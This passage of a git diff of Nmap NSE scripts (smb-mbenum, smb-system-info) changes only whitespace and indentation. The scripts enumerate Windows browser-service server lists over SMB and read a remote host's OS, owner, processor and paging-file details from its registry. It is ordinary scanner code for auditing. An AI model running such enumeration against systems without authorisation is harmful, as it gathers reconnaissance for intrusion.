+ if(info['flags']) then
+ table.insert(response_part, string.format("Flags: %s", stdnse.strjoin(", ", info['flags'])))
+ end
- table.insert(response, response_part)
- end
- end
- end
- end
+ table.insert(response, response_part)
+ end
+ end
+ end
+ end
- return stdnse.format_output(true, response)
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/smb-mbenum.nse b/scripts/smb-mbenum.nse
index d00f75dc8..84abbbd2d 100644
--- a/scripts/smb-mbenum.nse
+++ b/scripts/smb-mbenum.nse
@@ -42,13 +42,13 @@ Queries information managed by the Windows Master Browser.
-- |_ WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
--
-- @args smb-mbenum.format (optional) if set, changes the format of the result
--- returned by the script. There are three possible formats:
--- 1. Ordered by type horizontally
--- 2. Ordered by type vertically
--- 3. Ordered by type vertically with details (default)
+-- returned by the script. There are three possible formats:
+-- 1. Ordered by type horizontally
+-- 2. Ordered by type vertically
+-- 3. Ordered by type vertically with details (default)
--
-- @args smb-mbenum.filter (optional) if set, queries the browser for a
--- specific type of server (@see ServerTypes)
+-- specific type of server (@see ServerTypes)
--
-- @args smb-mbenum.domain (optional) if not specified, lists the domain of the queried browser
--
@@ -67,167 +67,167 @@ hostrule = function(host) return smb.get_port(host) ~= nil end
local function log(msg) stdnse.print_debug(3, msg) end
ServerTypes = {
- SV_TYPE_WORKSTATION = 0x00000001,
- SV_TYPE_SERVER = 0x00000002,
- SV_TYPE_SQLSERVER = 0x00000004,
- SV_TYPE_DOMAIN_CTRL = 0x00000008,
- SV_TYPE_DOMAIN_BAKCTRL = 0x00000010,
- SV_TYPE_TIME_SOURCE = 0x00000020,
- SV_TYPE_AFP = 0x00000040,
- SV_TYPE_NOVELL = 0x00000080,
- SV_TYPE_DOMAIN_MEMBER = 0x00000100,
- SV_TYPE_PRINTQ_SERVER = 0x00000200,
- SV_TYPE_DIALIN_SERVER = 0x00000400,
- SV_TYPE_SERVER_UNIX = 0x00000800,
- SV_TYPE_NT = 0x00001000,
- SV_TYPE_WFW = 0x00002000,
- SV_TYPE_SERVER_MFPN = 0x00004000,
- SV_TYPE_SERVER_NT = 0x00008000,
- SV_TYPE_POTENTIAL_BROWSER = 0x00010000,
- SV_TYPE_BACKUP_BROWSER = 0x00020000,
- SV_TYPE_MASTER_BROWSER = 0x00040000,
- SV_TYPE_DOMAIN_MASTER = 0x00080000,
- SV_TYPE_WINDOWS = 0x00400000,
- SV_TYPE_DFS = 0x00800000,
- SV_TYPE_CLUSTER_NT = 0x01000000,
- SV_TYPE_TERMINALSERVER = 0x02000000,
- SV_TYPE_CLUSTER_VS_NT = 0x04000000,
- SV_TYPE_DCE = 0x10000000,
- SV_TYPE_ALTERNATE_XPORT = 0x20000000,
- SV_TYPE_LOCAL_LIST_ONLY = 0x40000000,
- SV_TYPE_DOMAIN_ENUM = 0x80000000,
- SV_TYPE_ALL = 0xFFFFFFFF
+ SV_TYPE_WORKSTATION = 0x00000001,
+ SV_TYPE_SERVER = 0x00000002,
+ SV_TYPE_SQLSERVER = 0x00000004,
+ SV_TYPE_DOMAIN_CTRL = 0x00000008,
+ SV_TYPE_DOMAIN_BAKCTRL = 0x00000010,
+ SV_TYPE_TIME_SOURCE = 0x00000020,
+ SV_TYPE_AFP = 0x00000040,
+ SV_TYPE_NOVELL = 0x00000080,
+ SV_TYPE_DOMAIN_MEMBER = 0x00000100,
+ SV_TYPE_PRINTQ_SERVER = 0x00000200,
+ SV_TYPE_DIALIN_SERVER = 0x00000400,
+ SV_TYPE_SERVER_UNIX = 0x00000800,
+ SV_TYPE_NT = 0x00001000,
+ SV_TYPE_WFW = 0x00002000,
+ SV_TYPE_SERVER_MFPN = 0x00004000,
+ SV_TYPE_SERVER_NT = 0x00008000,
+ SV_TYPE_POTENTIAL_BROWSER = 0x00010000,
+ SV_TYPE_BACKUP_BROWSER = 0x00020000,
+ SV_TYPE_MASTER_BROWSER = 0x00040000,
+ SV_TYPE_DOMAIN_MASTER = 0x00080000,
+ SV_TYPE_WINDOWS = 0x00400000,
+ SV_TYPE_DFS = 0x00800000,
+ SV_TYPE_CLUSTER_NT = 0x01000000,
+ SV_TYPE_TERMINALSERVER = 0x02000000,
+ SV_TYPE_CLUSTER_VS_NT = 0x04000000,
+ SV_TYPE_DCE = 0x10000000,
+ SV_TYPE_ALTERNATE_XPORT = 0x20000000,
+ SV_TYPE_LOCAL_LIST_ONLY = 0x40000000,
+ SV_TYPE_DOMAIN_ENUM = 0x80000000,
+ SV_TYPE_ALL = 0xFFFFFFFF
}
TypeNames = {
- SV_TYPE_WORKSTATION = { long = "Workstation", short = "WKS" },
- SV_TYPE_SERVER = { long = "Server service", short = "SRVSVC" },
- SV_TYPE_SQLSERVER = { long = "SQL Server", short = "MSSQL" },
- SV_TYPE_DOMAIN_CTRL = { long = "Domain Controller", short = "DC" },
- SV_TYPE_DOMAIN_BAKCTRL = { long = "Backup Domain Controller", short = "BDC" },
- SV_TYPE_TIME_SOURCE = { long = "Time Source", short = "TIME" },
- SV_TYPE_AFP = { long = "Apple File Protocol Server", short = "AFP" },
- SV_TYPE_NOVELL = { long = "Novell Server", short = "NOVELL" },
- SV_TYPE_DOMAIN_MEMBER = { long = "LAN Manager Domain Member", short = "MEMB" },
- SV_TYPE_PRINTQ_SERVER = { long = "Print server", short = "PRINT" },
- SV_TYPE_DIALIN_SERVER = { long = "Dial-in server", short = "DIALIN" },
- SV_TYPE_SERVER_UNIX = { long = "Unix server", short = "UNIX" },
- SV_TYPE_NT = { long = "Windows NT/2000/XP/2003 server", short = "NT" },
- SV_TYPE_WFW = { long = "Windows for workgroups", short = "WFW" },
- SV_TYPE_SERVER_MFPN = { long = "Microsoft File and Print for Netware", short="MFPN" },
- SV_TYPE_SERVER_NT = { long = "Server", short = "SRV" },
- SV_TYPE_POTENTIAL_BROWSER = { long = "Potential Browser", short = "POTBRWS" },
- SV_TYPE_BACKUP_BROWSER = { long = "Backup Browser", short = "BCKBRWS"},
- SV_TYPE_MASTER_BROWSER = { long = "Master Browser", short = "MBRWS"},
- SV_TYPE_DOMAIN_MASTER = { long = "Domain Master Browser", short = "DOMBRWS"},
- SV_TYPE_WINDOWS = { long = "Windows 95/98/ME", short="WIN95"},
- SV_TYPE_DFS = { long = "DFS Root", short = "DFS"},
- SV_TYPE_TERMINALSERVER = { long = "Terminal Server", short = "TS" },
+ SV_TYPE_WORKSTATION = { long = "Workstation", short = "WKS" },
+ SV_TYPE_SERVER = { long = "Server service", short = "SRVSVC" },
+ SV_TYPE_SQLSERVER = { long = "SQL Server", short = "MSSQL" },
+ SV_TYPE_DOMAIN_CTRL = { long = "Domain Controller", short = "DC" },
+ SV_TYPE_DOMAIN_BAKCTRL = { long = "Backup Domain Controller", short = "BDC" },
+ SV_TYPE_TIME_SOURCE = { long = "Time Source", short = "TIME" },
+ SV_TYPE_AFP = { long = "Apple File Protocol Server", short = "AFP" },
+ SV_TYPE_NOVELL = { long = "Novell Server", short = "NOVELL" },
+ SV_TYPE_DOMAIN_MEMBER = { long = "LAN Manager Domain Member", short = "MEMB" },
+ SV_TYPE_PRINTQ_SERVER = { long = "Print server", short = "PRINT" },
+ SV_TYPE_DIALIN_SERVER = { long = "Dial-in server", short = "DIALIN" },
+ SV_TYPE_SERVER_UNIX = { long = "Unix server", short = "UNIX" },
+ SV_TYPE_NT = { long = "Windows NT/2000/XP/2003 server", short = "NT" },
+ SV_TYPE_WFW = { long = "Windows for workgroups", short = "WFW" },
+ SV_TYPE_SERVER_MFPN = { long = "Microsoft File and Print for Netware", short="MFPN" },
+ SV_TYPE_SERVER_NT = { long = "Server", short = "SRV" },
+ SV_TYPE_POTENTIAL_BROWSER = { long = "Potential Browser", short = "POTBRWS" },
+ SV_TYPE_BACKUP_BROWSER = { long = "Backup Browser", short = "BCKBRWS"},
+ SV_TYPE_MASTER_BROWSER = { long = "Master Browser", short = "MBRWS"},
+ SV_TYPE_DOMAIN_MASTER = { long = "Domain Master Browser", short = "DOMBRWS"},
+ SV_TYPE_WINDOWS = { long = "Windows 95/98/ME", short="WIN95"},
+ SV_TYPE_DFS = { long = "DFS Root", short = "DFS"},
+ SV_TYPE_TERMINALSERVER = { long = "Terminal Server", short = "TS" },
}
OutputFormat = {
- BY_TYPE_H = 1,
- BY_TYPE_V = 2,
- BY_TYPE_V_DETAILED = 3,
+ BY_TYPE_H = 1,
+ BY_TYPE_V = 2,
+ BY_TYPE_V_DETAILED = 3,
}
action = function(host, port)
- local status, smbstate = smb.start(host)
- local err, entries
- local path = ("\\\\%s\\IPC$"):format(host.ip)
- local detail_level = 1
- local format = stdnse.get_script_args("smb-mbenum.format") or OutputFormat.BY_TYPE_V_DETAILED
- local filter = stdnse.get_script_args("smb-mbenum.filter") or ServerTypes.SV_TYPE_ALL
- local domain = stdnse.get_script_args("smb-mbenum.domain")
+ local status, smbstate = smb.start(host)
+ local err, entries
+ local path = ("\\\\%s\\IPC$"):format(host.ip)
+ local detail_level = 1
+ local format = stdnse.get_script_args("smb-mbenum.format") or OutputFormat.BY_TYPE_V_DETAILED
+ local filter = stdnse.get_script_args("smb-mbenum.filter") or ServerTypes.SV_TYPE_ALL
+ local domain = stdnse.get_script_args("smb-mbenum.domain")
- filter = tonumber(filter) or ServerTypes[filter]
- format = tonumber(format)
+ filter = tonumber(filter) or ServerTypes[filter]
+ format = tonumber(format)
- if ( not(filter) ) then
- return "\n The argument smb-mbenum.filter contained an invalid value."
- end
+ if ( not(filter) ) then
+ return "\n The argument smb-mbenum.filter contained an invalid value."
+ end
- if ( not(format) ) then
- return "\n The argument smb-mbenum.format contained an invalid value."
- end
+ if ( not(format) ) then
+ return "\n The argument smb-mbenum.format contained an invalid value."
+ end
- status, err = smb.negotiate_protocol(smbstate, {})
- if ( not(status) ) then
- log("ERROR: smb.negotiate_protocol failed")
- return "\n ERROR: Failed to connect to browser service"
- end
+ status, err = smb.negotiate_protocol(smbstate, {})
+ if ( not(status) ) then
+ log("ERROR: smb.negotiate_protocol failed")
+ return "\n ERROR: Failed to connect to browser service"
+ end
- status, err = smb.start_session(smbstate, {})
- if ( not(status) ) then
- log("ERROR: smb.negotiate_protocol failed")
- return "\n ERROR: Failed to connect to browser service"
- end
+ status, err = smb.start_session(smbstate, {})
+ if ( not(status) ) then
+ log("ERROR: smb.negotiate_protocol failed")
+ return "\n ERROR: Failed to connect to browser service"
+ end
- status, err = smb.tree_connect(smbstate, path, {})
- if ( not(status) ) then
- log("ERROR: smb.negotiate_protocol failed")
- return "\n ERROR: Failed to connect to browser service"
- end
+ status, err = smb.tree_connect(smbstate, path, {})
+ if ( not(status) ) then
+ log("ERROR: smb.negotiate_protocol failed")
+ return "\n ERROR: Failed to connect to browser service"
+ end
- status, entries = msrpc.rap_netserverenum2(smbstate, domain, filter, detail_level)
- if ( not(status) ) then
- log("ERROR: msrpc.call_lanmanapi failed")
- return "\n ERROR: " .. entries
- end
+ status, entries = msrpc.rap_netserverenum2(smbstate, domain, filter, detail_level)
+ if ( not(status) ) then
+ log("ERROR: msrpc.call_lanmanapi failed")
+ return "\n ERROR: " .. entries
+ end
- status, err = smb.tree_disconnect(smbstate)
- if ( not(status) ) then log("ERROR: smb.tree_disconnect failed") end
+ status, err = smb.tree_disconnect(smbstate)
+ if ( not(status) ) then log("ERROR: smb.tree_disconnect failed") end
- status, err = smb.logoff(smbstate)
- if ( not(status) ) then log("ERROR: smb.logoff failed") end
+ status, err = smb.logoff(smbstate)
+ if ( not(status) ) then log("ERROR: smb.logoff failed") end
- status, err = smb.stop(smbstate)
- if ( not(status) ) then log("ERROR: smb.stop failed") end
+ status, err = smb.stop(smbstate)
+ if ( not(status) ) then log("ERROR: smb.stop failed") end
- local results, output = {}, {}
- for k, _ in pairs(ServerTypes) do
- for _, server in ipairs(entries) do
- if ( TypeNames[k] and bit.band(server.type,ServerTypes[k]) == ServerTypes[k] ) then
- results[TypeNames[k].long] = results[TypeNames[k].long] or {}
- if ( format == OutputFormat.BY_TYPE_V_DETAILED ) then
- table.insert(results[TypeNames[k].long], server)
- else
- table.insert(results[TypeNames[k].long], server.name)
- end
- end
- end
- end
+ local results, output = {}, {}
+ for k, _ in pairs(ServerTypes) do
+ for _, server in ipairs(entries) do
+ if ( TypeNames[k] and bit.band(server.type,ServerTypes[k]) == ServerTypes[k] ) then
+ results[TypeNames[k].long] = results[TypeNames[k].long] or {}
+ if ( format == OutputFormat.BY_TYPE_V_DETAILED ) then
+ table.insert(results[TypeNames[k].long], server)
+ else
+ table.insert(results[TypeNames[k].long], server.name)
+ end
+ end
+ end
+ end
- if ( format == OutputFormat.BY_TYPE_H ) then
- for k, v in pairs(results) do
- local row = ("%s: %s"):format( k, stdnse.strjoin(",", v) )
- table.insert(output, row)
- end
- table.sort(output)
- elseif( format == OutputFormat.BY_TYPE_V ) then
- for k, v in pairs(results) do
- v.name = k
- table.insert(output, v)
- end
- table.sort(output, function(a,b) return a.name < b.name end)
- elseif( format == OutputFormat.BY_TYPE_V_DETAILED ) then
- for k, v in pairs(results) do
- local cat_tab = tab.new(3)
- table.sort(v, function(a,b) return a.name < b.name end )
- for _, server in pairs(v) do
- tab.addrow(
- cat_tab,
- server.name,
- ("%d.%d"):format(server.version.major,server.version.minor),
- server.comment
- )
- end
- table.insert(output, { name = k, tab.dump(cat_tab) } )
- end
- table.sort(output, function(a,b) return a.name < b.name end)
- end
+ if ( format == OutputFormat.BY_TYPE_H ) then
+ for k, v in pairs(results) do
+ local row = ("%s: %s"):format( k, stdnse.strjoin(",", v) )
+ table.insert(output, row)
+ end
+ table.sort(output)
+ elseif( format == OutputFormat.BY_TYPE_V ) then
+ for k, v in pairs(results) do
+ v.name = k
+ table.insert(output, v)
+ end
+ table.sort(output, function(a,b) return a.name < b.name end)
+ elseif( format == OutputFormat.BY_TYPE_V_DETAILED ) then
+ for k, v in pairs(results) do
+ local cat_tab = tab.new(3)
+ table.sort(v, function(a,b) return a.name < b.name end )
+ for _, server in pairs(v) do
+ tab.addrow(
+ cat_tab,
+ server.name,
+ ("%d.%d"):format(server.version.major,server.version.minor),
+ server.comment
+ )
+ end
+ table.insert(output, { name = k, tab.dump(cat_tab) } )
+ end
+ table.sort(output, function(a,b) return a.name < b.name end)
+ end
- return stdnse.format_output(true, output)
+ return stdnse.format_output(true, output)
end
diff --git a/scripts/smb-system-info.nse b/scripts/smb-system-info.nse
index cc3bcc97b..383ae3690 100644
--- a/scripts/smb-system-info.nse
+++ b/scripts/smb-system-info.nse
@@ -61,7 +61,7 @@ dependencies = {"smb-brute"}
-- TODO: This script needs some love
hostrule = function(host)
- return smb.get_port(host) ~= nil
+ return smb.get_port(host) ~= nil
end
---Retrieves the requested value from the registry.
@@ -72,178 +72,178 @@ end
--@return Status (true or false).
--@return The value (if status is true) or an error string (if status is false).
local function reg_get_value(smbstate, handle, key, value)
- -- Open the key
- local status, openkey_result = msrpc.winreg_openkey(smbstate, handle, key)
- if(status == false) then
- return false, openkey_result
- end
+ -- Open the key
+ local status, openkey_result = msrpc.winreg_openkey(smbstate, handle, key)
+ if(status == false) then
+ return false, openkey_result
+ end
- -- Query the value
- local status, queryvalue_result = msrpc.winreg_queryvalue(smbstate, openkey_result['handle'], value)
- if(status == false) then
- return false, queryvalue_result
- end
+ -- Query the value
+ local status, queryvalue_result = msrpc.winreg_queryvalue(smbstate, openkey_result['handle'], value)
+ if(status == false) then
+ return false, queryvalue_result
+ end
- -- Close the key
- local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'], value)
- if(status == false) then
- return false, closekey_result
- end
+ -- Close the key
+ local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'], value)
+ if(status == false) then
+ return false, closekey_result
+ end
- return true, queryvalue_result['value']
+ return true, queryvalue_result['value']
end
local function get_info_registry(host)
- local result = {}
+ local result = {}
- -- Create the SMB session
- local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
- if(status == false) then
- return false, smbstate
- end
+ -- Create the SMB session
+ local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
- -- Bind to WINREG service
- local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
- if(status == false) then
- msrpc.stop_smb(smbstate)
- return false, bind_result
- end
+ -- Bind to WINREG service
+ local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, bind_result
+ end
- -- Open HKEY_LOCAL_MACHINE
- local status, openhklm_result = msrpc.winreg_openhklm(smbstate)
- if(status == false) then
- msrpc.stop_smb(smbstate)
- return false, openhklm_result
- end
+ -- Open HKEY_LOCAL_MACHINE
+ local status, openhklm_result = msrpc.winreg_openhklm(smbstate)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, openhklm_result
+ end
- -- Processor information
- result['status-number_of_processors'], result['number_of_processors'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "NUMBER_OF_PROCESSORS")
- if(result['status-number_of_processors'] == false) then
- result['number_of_processors'] = 0
- end
- result['status-os'], result['os'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "OS")
- result['status-path'], result['path'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path")
- result['status-processor_architecture'], result['processor_architecture'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_ARCHITECTURE")
- result['status-processor_identifier'], result['processor_identifier'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_IDENTIFIER")
- result['status-processor_level'], result['processor_level'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_LEVEL")
- result['status-processor_revision'], result['processor_revision'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_REVISION")
+ -- Processor information
+ result['status-number_of_processors'], result['number_of_processors'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "NUMBER_OF_PROCESSORS")
+ if(result['status-number_of_processors'] == false) then
+ result['number_of_processors'] = 0
+ end
+ result['status-os'], result['os'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "OS")
+ result['status-path'], result['path'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path")
+ result['status-processor_architecture'], result['processor_architecture'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_ARCHITECTURE")
+ result['status-processor_identifier'], result['processor_identifier'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_IDENTIFIER")
+ result['status-processor_level'], result['processor_level'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_LEVEL")
+ result['status-processor_revision'], result['processor_revision'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_REVISION")
- -- remove trailing zero terminator
- local num_procs = result['number_of_processors']:match("^[^%z]*")
+ -- remove trailing zero terminator
+ local num_procs = result['number_of_processors']:match("^[^%z]*")
- for i = 0, tonumber(num_procs) - 1, 1 do
- result['status-~mhz'..i], result['~mhz' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "~MHz")
- result['status-identifier'..i], result['identifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "Identifier")
- result['status-processornamestring'..i], result['processornamestring' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "ProcessorNameString")
- result['status-vendoridentifier'..i], result['vendoridentifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "VendorIdentifier")
- end
--- status, result['physicalmemory'] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\ResourceMap\\System Resources\\Physical Memory", ".Translated")
+ for i = 0, tonumber(num_procs) - 1, 1 do
+ result['status-~mhz'..i], result['~mhz' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "~MHz")
+ result['status-identifier'..i], result['identifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "Identifier")
+ result['status-processornamestring'..i], result['processornamestring' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "ProcessorNameString")
+ result['status-vendoridentifier'..i], result['vendoridentifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "VendorIdentifier")
+ end
+ -- status, result['physicalmemory'] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\ResourceMap\\System Resources\\Physical Memory", ".Translated")
- -- TODO: Known DLLs?
+ -- TODO: Known DLLs?
- -- Paging file
- result['status-pagingfiles'], result['pagingfiles'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "PagingFiles")
- result['status-clearpagefileatshutdown'], result['clearpagefileatshutdown'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "ClearPageFileAtShutdown")
+ -- Paging file
+ result['status-pagingfiles'], result['pagingfiles'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "PagingFiles")
+ result['status-clearpagefileatshutdown'], result['clearpagefileatshutdown'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "ClearPageFileAtShutdown")
- -- OS Information
- result['status-csdversion'], result['csdversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CSDVersion")
- if(result['status-csdversion'] == false) then
- result['csdversion'] = "(no service packs)"
- end
- result['status-currentbuildnumber'], result['currentbuildnumber'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber")
- result['status-currenttype'], result['currenttype'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentType")
- result['status-currentversion'], result['currentversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion")
- result['status-installdate'], result['installdate'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "InstallDate")
- if(result['status-installdate'] ~= false) then
- result['installdate'] = os.date("%Y-%m-%d %H:%M:%S", result['installdate'])
- end
+ -- OS Information
+ result['status-csdversion'], result['csdversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CSDVersion")
+ if(result['status-csdversion'] == false) then
+ result['csdversion'] = "(no service packs)"
+ end
+ result['status-currentbuildnumber'], result['currentbuildnumber'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber")
+ result['status-currenttype'], result['currenttype'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentType")
+ result['status-currentversion'], result['currentversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion")
+ result['status-installdate'], result['installdate'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "InstallDate")
+ if(result['status-installdate'] ~= false) then
+ result['installdate'] = os.date("%Y-%m-%d %H:%M:%S", result['installdate'])
+ end
- result['status-productname'], result['productname'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "Productname")
- result['status-registeredowner'], result['registeredowner'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOwner")
- result['status-registeredorganization'], result['registeredorganization'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOrganization")
- result['status-systemroot'], result['systemroot'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "SystemRoot")
- result['status-producttype'], result['producttype'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductType")
- result['status-productsuite'], result['productsuite'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductSuite")
+ result['status-productname'], result['productname'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "Productname")
+ result['status-registeredowner'], result['registeredowner'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOwner")
+ result['status-registeredorganization'], result['registeredorganization'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOrganization")
+ result['status-systemroot'], result['systemroot'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "SystemRoot")
+ result['status-producttype'], result['producttype'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductType")
+ result['status-productsuite'], result['productsuite'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductSuite")
- -- Driver information
- result['status-video_driverdesc'], result['video_driverdesc'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", "DriverDesc")
+ -- Driver information
+ result['status-video_driverdesc'], result['video_driverdesc'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", "DriverDesc")
- -- Software versions
- result['status-ie_version'], result['ie_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Internet Explorer\\Version Vector", "IE")
- result['status-ff_version'], result['ff_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Mozilla\\Mozilla Firefox", "CurrentVersion")
- if(result['status-ff_version'] == false) then
- result['ff_version'] = ""
- end
+ -- Software versions
+ result['status-ie_version'], result['ie_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Internet Explorer\\Version Vector", "IE")
+ result['status-ff_version'], result['ff_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Mozilla\\Mozilla Firefox", "CurrentVersion")
+ if(result['status-ff_version'] == false) then
+ result['ff_version'] = ""
+ end
- msrpc.stop_smb(smbstate)
+ msrpc.stop_smb(smbstate)
- return true, result
+ return true, result
end
action = function(host)
- local status, result = get_info_registry(host)
+ local status, result = get_info_registry(host)
- if(status == false) then
- return stdnse.format_output(false, result)
- end
+ if(status == false) then
+ return stdnse.format_output(false, result)
+ end
- local response = {}
+ local response = {}
- if(result['status-os'] == true) then
- local osdetails = {}
- osdetails['name'] = "OS Details"
- table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
- table.insert(osdetails, string.format("Installed on %s", result['installdate']))
- table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
- table.insert(osdetails, string.format("Path: %s", result['path']))
- table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
- table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown']))
- table.insert(response, osdetails)
+ if(result['status-os'] == true) then
+ local osdetails = {}
+ osdetails['name'] = "OS Details"
+ table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
+ table.insert(osdetails, string.format("Installed on %s", result['installdate']))
+ table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
+ table.insert(osdetails, string.format("Path: %s", result['path']))
+ table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
+ table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown']))
+ table.insert(response, osdetails)
- local hardware = {}
- hardware['name'] = "Hardware"
- -- remove trailing zero terminator
- local num_procs = result['number_of_processors']:match("^[^%z]*")
- for i = 0, tonumber(num_procs) - 1, 1 do
